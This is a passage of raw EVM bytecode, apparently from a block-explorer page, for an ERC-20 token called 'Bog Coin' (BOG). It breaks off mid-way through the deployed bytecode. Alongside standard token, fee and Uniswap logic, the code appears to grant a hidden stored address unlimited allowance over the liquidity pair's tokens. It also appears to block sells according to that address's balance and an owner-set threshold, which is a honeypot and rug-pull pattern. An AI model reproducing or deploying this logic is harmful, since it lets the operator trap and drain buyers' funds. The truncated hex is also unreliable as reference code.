6006546009541161187a57600a5461187e565b600c545b8561205a90919063ffffffff16565b6120d190919063ffffffff16565b90505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561192657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611979575060115f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b50576119ba60646119ac6007546009541161199957600b5461199d565b600d545b8561205a90919063ffffffff16565b6120d190919063ffffffff16565b905060045482111580156119f857506001546119f660165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610685565b115b8015611a2e5750600254611a2c60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610685565b105b15611a7257611a6f6064611a6160075460095411611a4e57600b54611a52565b600e545b8561205a90919063ffffffff16565b6120d190919063ffffffff16565b90505b6004548211158015611aae5750600254611aac60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610685565b115b15611aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae59061310c565b60405180910390fd5b600854600954118015611b47575060135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611b4f575f80fd5b5b5f611b5a30610685565b9050600f60029054906101000a900460ff16158015611bc5575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611bdd5750600f60019054906101000a900460ff165b8015611bea575060055481115b8015611bf95750600854600954115b8015611c4c575060115f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611c9f575060115f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611d3557611cc1611cbc84611cb78460015461211a565b61211a565b612132565b5f4790505f811115611d335760175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611d31573d5f803e3d5ffd5b505b505b505b5f811115611e3657611d8f8160125f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123bb90919063ffffffff16565b60125f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e2d919061267d565b60405180910390a35b611e868260125f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461241890919063ffffffff16565b60125f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f29611edd828461241890919063ffffffff16565b60125f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123bb90919063ffffffff16565b60125f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611fcc848661241890919063ffffffff16565b604051611fd9919061267d565b60405180910390a350505050565b5f83831115829061202e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612025919061254c565b60405180910390fd5b505f838561203c9190613171565b9050809150509392505050565b5f80823b90505f8111915050919050565b5f80830361206a575f90506120cb565b5f828461207791906129b5565b905082848261208691906131d1565b146120c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bd90613271565b60405180910390fd5b809150505b92915050565b5f61211283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612461565b905092915050565b5f818311612128578261212a565b815b905092915050565b6001600f60026101000a81548160ff0219169083151502179055505f81031561239e57600f60039054906101000a900460ff161561239e575f600267ffffffffffffffff8111156121865761218561328f565b5b6040519080825280602002602001820160405280156121b45781602001602082028036833780820191505090505b50905030815f815181106121cb576121ca6132bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561226f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906122939190612ada565b816001815181106122a7576122a66132bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061230d3060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611153565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161236f9594939291906133a0565b5f604051808303815f87803b158015612386575f80fd5b505af1158015612398573d5f803e3d5ffd5b50505050505b5f600f60026101000a81548160ff02191690831515021790555050565b5f8082846123c99190613069565b90508381101561240e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240590613442565b60405180910390fd5b8091505092915050565b5f61245983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fe7565b905092915050565b5f80831182906124a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249e919061254c565b60405180910390fd5b505f83856124b591906131d1565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156124f95780820151818401526020810190506124de565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61251e826124c2565b61252881856124cc565b93506125388185602086016124dc565b61254181612504565b840191505092915050565b5f6020820190508181035f8301526125648184612514565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61259982612570565b9050919050565b6125a98161258f565b81146125b3575f80fd5b50565b5f813590506125c4816125a0565b92915050565b5f819050919050565b6125dc816125ca565b81146125e6575f80fd5b50565b5f813590506125f7816125d3565b92915050565b5f80604083850312156126135761261261256c565b5b5f612620858286016125b6565b9250506020612631858286016125e9565b9150509250929050565b5f8115159050919050565b61264f8161263b565b82525050565b5f6020820190506126685f830184612646565b92915050565b612677816125ca565b82525050565b5f6020820190506126905f83018461266e565b92915050565b5f805f606084860312156126ad576126ac61256c565b5b5f6126ba868287016125b6565b93505060206126cb868287016125b6565b92505060406126dc868287016125e9565b9150509250925092565b5f60ff82169050919050565b6126fb816126e6565b82525050565b5f6020820190506127145f8301846126f2565b92915050565b6127238161258f565b82525050565b5f60208201905061273c5f83018461271a565b92915050565b5f602082840312156127575761275661256c565b5b5f612764848285016125b6565b91505092915050565b5f602082840312156127825761278161256c565b5b5f61278f848285016125e9565b91505092915050565b5f6127a282612570565b9050919050565b6127b281612798565b82525050565b5f6020820190506127cb5f8301846127a9565b92915050565b5f80604083850312156127e7576127e661256c565b5b5f6127f4858286016125b6565b9250506020612805858286016125b6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156128915780860481111561286d5761286c61280f565b5b600185161561287c5780820291505b808102905061288a8561283c565b9450612851565b94509492505050565b5f826128a95760019050612964565b816128b6575f9050612964565b81600181146128cc57600281146128d657612905565b6001915050612964565b60ff8411156128e8576128e761280f565b5b8360020a9150848211156128ff576128fe61280f565b5b50612964565b5060208310610133831016604e8410600b841016171561293a5782820a9050838111156129355761293461280f565b5b612964565b6129478484846001612848565b9250905081840481111561295e5761295d61280f565b5b81810290505b9392505050565b5f612975826125ca565b9150612980836126e6565b92506129ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461289a565b905092915050565b5f6129bf826125ca565b91506129ca836125ca565b92508282026129d8816125ca565b915082820484148315176129ef576129ee61280f565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612a2a6020836124cc565b9150612a35826129f6565b602082019050919050565b5f6020820190508181035f830152612a5781612a1e565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612a926017836124cc565b9150612a9d82612a5e565b602082019050919050565b5f6020820190508181035f830152612abf81612a86565b9050919050565b5f81519050612ad4816125a0565b92915050565b5f60208284031215612aef57612aee61256c565b5b5f612afc84828501612ac6565b91505092915050565b5f604082019050612b185f83018561271a565b612b25602083018461271a565b9392505050565b5f819050919050565b5f819050919050565b5f612b58612b53612b4e84612b2c565b612b35565b6125ca565b9050919050565b612b6881612b3e565b82525050565b5f60c082019050612b815f83018961271a565b612b8e602083018861266e565b612b9b6040830187612b5f565b612ba86060830186612b5f565b612bb5608083018561271a565b612bc260a083018461266e565b979650505050505050565b5f81519050612bdb816125d3565b92915050565b5f805f60608486031215612bf857612bf761256c565b5b5f612c0586828701612bcd565b9350506020612c1686828701612bcd565b9250506040612c2786828701612bcd565b9150509250925092565b5f604082019050612c445f83018561271a565b612c51602083018461266e565b9392505050565b612c618161263b565b8114612c6b575f80fd5b50565b5f81519050612c7c81612c58565b92915050565b5f60208284031215612c9757612c9661256c565b5b5f612ca484828501612c6e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612d076024836124cc565b9150612d1282612cad565b604082019050919050565b5f6020820190508181035f830152612d3481612cfb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d956022836124cc565b9150612da082612d3b565b604082019050919050565b5f6020820190508181035f830152612dc281612d89565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612e236025836124cc565b9150612e2e82612dc9565b604082019050919050565b5f6020820190508181035f830152612e5081612e17565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612eb16023836124cc565b9150612ebc82612e57565b604082019050919050565b5f6020820190508181035f830152612ede81612ea5565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612f3f6029836124cc565b9150612f4a82612ee5565b604082019050919050565b5f6020820190508181035f830152612f6c81612f33565b9050919050565b7f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f5f8201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b5f612fcd6024836124cc565b9150612fd882612f73565b604082019050919050565b5f6020820190508181035f830152612ffa81612fc1565b9050919050565b7f457863656564732074686520416d6f756e74206c696d6174696f6e732e0000005f82015250565b5f613035601d836124cc565b915061304082613001565b602082019050919050565b5f6020820190508181035f83015261306281613029565b9050919050565b5f613073826125ca565b915061307e836125ca565b92508282019050808211156130965761309561280f565b5b92915050565b7f4578636565647320746865206d6178206c696d69746174696f6e7320696e20735f8201527f696e676c652057616c6c65742e00000000000000000000000000000000000000602082015250565b5f6130f6602d836124cc565b91506131018261309c565b604082019050919050565b5f6020820190508181035f830152613123816130ea565b9050919050565b5f613134826125ca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036131665761316561280f565b5b600182019050919050565b5f61317b826125ca565b9150613186836125ca565b925082820390508181111561319e5761319d61280f565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6131db826125ca565b91506131e6836125ca565b9250826131f6576131f56131a4565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61325b6021836124cc565b915061326682613201565b604082019050919050565b5f6020820190508181035f8301526132888161324f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61331b8161258f565b82525050565b5f61332c8383613312565b60208301905092915050565b5f602082019050919050565b5f61334e826132e9565b61335881856132f3565b935061336383613303565b805f5b8381101561339357815161337a8882613321565b975061338583613338565b925050600181019050613366565b5085935050505092915050565b5f60a0820190506133b35f83018861266e565b6133c06020830187612b5f565b81810360408301526133d28186613344565b90506133e1606083018561271a565b6133ee608083018461266e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61342c601b836124cc565b9150613437826133f8565b602082019050919050565b5f6020820190508181035f83015261345981613420565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b2e592bb27c5dae0052b82cb40f425739d6cc690f45e4e1407f1c59b11fba87964736f6c63430008140033
Deployed Bytecode
0x608060405260043610610138575f3560e01c80637d1db4a5116100aa578063a9059cbb1161006e578063a9059cbb146103ef578063afe318201461042b578063bf474bed14610455578063c9567bf91461047f578063d1fbfb2314610495578063dd62ed3e146104bf5761013f565b80637d1db4a51461031f5780638da5cb5b146103495780638f9a55c01461037357806395d89b411461039d578063a58675e5146103c75761013f565b80632d552132116100fc5780632d55213214610239578063313ce567146102635780635cdc10ff1461028d57806370a08231146102b7578063715018a6146102f3578063751039fc146103095761013f565b806306fdde0314610143578063095ea7b31461016d5780630faee56f146101a957806318160ddd146101d357806323b872dd146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b506101576104fb565b604051610164919061254c565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e91906125fd565b610538565b6040516101a09190612655565b60405180910390f35b3480156101b4575f80fd5b506101bd610555565b6040516101ca919061267d565b60405180910390f35b3480156101de575f80fd5b506101e761055b565b6040516101f4919061267d565b60405180910390f35b348015610208575f80fd5b50610223600480360381019061021e9190612696565b61057e565b6040516102309190612655565b60405180910390f35b348015610244575f80fd5b5061024d610652565b60405161025a919061267d565b60405180910390f35b34801561026e575f80fd5b50610277610658565b6040516102849190612701565b60405180910390f35b348015610298575f80fd5b506102a1610660565b6040516102ae9190612729565b60405180910390f35b3480156102c2575f80fd5b506102dd60048036038101906102d89190612742565b610685565b6040516102ea919061267d565b60405180910390f35b3480156102fe575f80fd5b506103076106cb565b005b348015610314575f80fd5b5061031d610819565b005b34801561032a575f80fd5b50610333610961565b604051610340919061267d565b60405180910390f35b348015610354575f80fd5b5061035d610967565b60405161036a9190612729565b60405180910390f35b34801561037e575f80fd5b5061038761098e565b604051610394919061267d565b60405180910390f35b3480156103a8575f80fd5b506103b1610994565b6040516103be919061254c565b60405180910390f35b3480156103d2575f80fd5b506103ed60048036038101906103e8919061276d565b6109d1565b005b3480156103fa575f80fd5b50610415600480360381019061041091906125fd565b610a6f565b6040516104229190612655565b60405180910390f35b348015610436575f80fd5b5061043f610a8c565b60405161044c9190612655565b60405180910390f35b348015610460575f80fd5b50610469610a9e565b604051610476919061267d565b60405180910390f35b34801561048a575f80fd5b50610493610aa4565b005b3480156104a0575f80fd5b506104a96110a5565b6040516104b691906127b8565b60405180910390f35b3480156104ca575f80fd5b506104e560048036038101906104e091906127d1565b6110ca565b6040516104f2919061267d565b60405180910390f35b60606040518060400160405280600881526020017f426f6720436f696e000000000000000000000000000000000000000000000000815250905090565b5f61054b61054461114c565b8484611153565b6001905092915050565b60015481565b5f6012600a61056a919061296b565b6305f5e10061057991906129b5565b905090565b5f61058a848484611316565b6106478461059661114c565b610642856040518060600160405280602881526020016134616028913960105f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105f961114c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fe79092919063ffffffff16565b611153565b600190509392505050565b60025481565b5f6012905090565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60125f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106d361114c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075690612a40565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61082161114c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a490612a40565b60405180910390fd5b6012600a6108bb919061296b565b6305f5e1006108ca91906129b5565b6004819055506012600a6108de919061296b565b6305f5e1006108ed91906129b5565b6003819055505f600f5f6101000a81548160ff0219169083151502179055507f6a91fb24fcb212ba6dee8cdc5f11c26331c37e9000932634d235326166f2af5c6012600a61093b919061296b565b6305f5e10061094a91906129b5565b604051610957919061267d565b60405180910390a1565b60045481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60035481565b60606040518060400160405280600381526020017f424f470000000000000000000000000000000000000000000000000000000000815250905090565b6109d961114c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c90612a40565b60405180910390fd5b8060018190555050565b5f610a82610a7b61114c565b8484611316565b6001905092915050565b600f5f9054906101000a900460ff1681565b60055481565b610aac61114c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2f90612a40565b60405180910390fd5b600f60039054906101000a900460ff1615610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612aa8565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c243060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610c10919061296b565b6305f5e100610c1f91906129b5565b611153565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c8e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb29190612ada565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d38573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d5c9190612ada565b6040518363ffffffff1660e01b8152600401610d79929190612b05565b6020604051808303815f875af1158015610d95573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610db99190612ada565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e4030610685565b5f80610e4a610967565b426040518863ffffffff1660e01b8152600401610e6c96959493929190612b6e565b60606040518083038185885af1158015610e88573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ead9190612be1565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f4d929190612c31565b6020604051808303815f875af1158015610f69573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f8d9190612c82565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60105f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600f60016101000a81548160ff0219169083151502179055506001600f60036101000a81548160ff021916908315150217905550565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b890612d1d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361122f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122690612dab565b60405180910390fd5b8060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611309919061267d565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612e39565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e990612ec7565b60405180910390fd5b5f8111611434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142b90612f55565b60405180910390fd5b5f61143d610967565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114ab575061147b610967565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d3757600f5f9054906101000a900460ff16156116365760185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561156e575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611635574360145f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106115f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e990612fe3565b60405180910390fd5b4360145f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116df575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611732575060115f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561189e5760045482111561177c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117739061304b565b60405180910390fd5b6003548261178985610685565b6117939190613069565b11156117d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cb9061310c565b60405180910390fd5b60085460095410156117f3576117e983612049565b156117f2575f80fd5b5b60095f8154809291906118059061312a565b9190505550600160135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061189b606461188d6006546009541161187a57600a5461187e565b600c545b8561205a90919063ffffffff16565b6120d190919063ffffffff16565b90505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561192657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611979575060115f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b50576119ba60646119ac6007546009541161199957600b5461199d565b600d545b8561205a90919063ffffffff16565b6120d190919063ffffffff16565b905060045482111580156119f857506001546119f660165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610685565b115b8015611a2e5750600254611a2c60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610685565b105b15611a7257611a6f6064611a6160075460095411611a4e57600b54611a52565b600e545b8561205a90919063ffffffff16565b6120d190919063ffffffff16565b90505b6004548211158015611aae5750600254611aac60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610685565b115b15611aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae59061310c565b60405180910390fd5b600854600954118015611b47575060135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611b4f575f80fd5b5b5f611b5a30610685565b9050600f60029054906101000a900460ff16158015611bc5575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611bdd5750600f60019054906101000a900460ff165b8015611bea575060055481115b8015611bf95750600854600954115b8015611c4c575060115f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611c9f575060115f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611d3557611cc1611cbc84611cb78460015461211a565b61211a565b612132565b5f4790505f811115611d335760175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611d31573d5f803e3d5ffd5b505b505b505b5f811115611e3657611d8f8160125f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123bb90919063ffffffff16565b60125f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e2d919061267d565b60405180910390a35b611e868260125f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461241890919063ffffffff16565b60125f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f29611edd828461241890919063ffffffff16565b60125f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123bb90919063ffffffff16565b60125f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611fcc848661241890919063ffffffff16565b604051611fd9919061267d565b60405180910390a350505050565b5f83831115829061202e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612025919061254c565b60405180910390fd5b505f838561203c9190613171565b9050809150509392505050565b5f80823b90505f8111915050919050565b5f80830361206a575f90506120cb565b5f828461207791906129b5565b905082848261208691906131d1565b146120c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bd90613271565b60405180910390fd5b809150505b92915050565b5f61211283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612461565b905092915050565b5f818311612128578261212a565b815b905092915050565b6001600f60026101000a81548160ff0219169083151502179055505f81031561239e57600f60039054906101000a900460ff161561239e575f600267ffffffffffffffff8111156121865761218561328f565b5b6040519080825280602002602001820160405280156121b45781602001602082028036833780820191505090505b50905030815f815181106121cb576121ca6132bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561226f573d5f8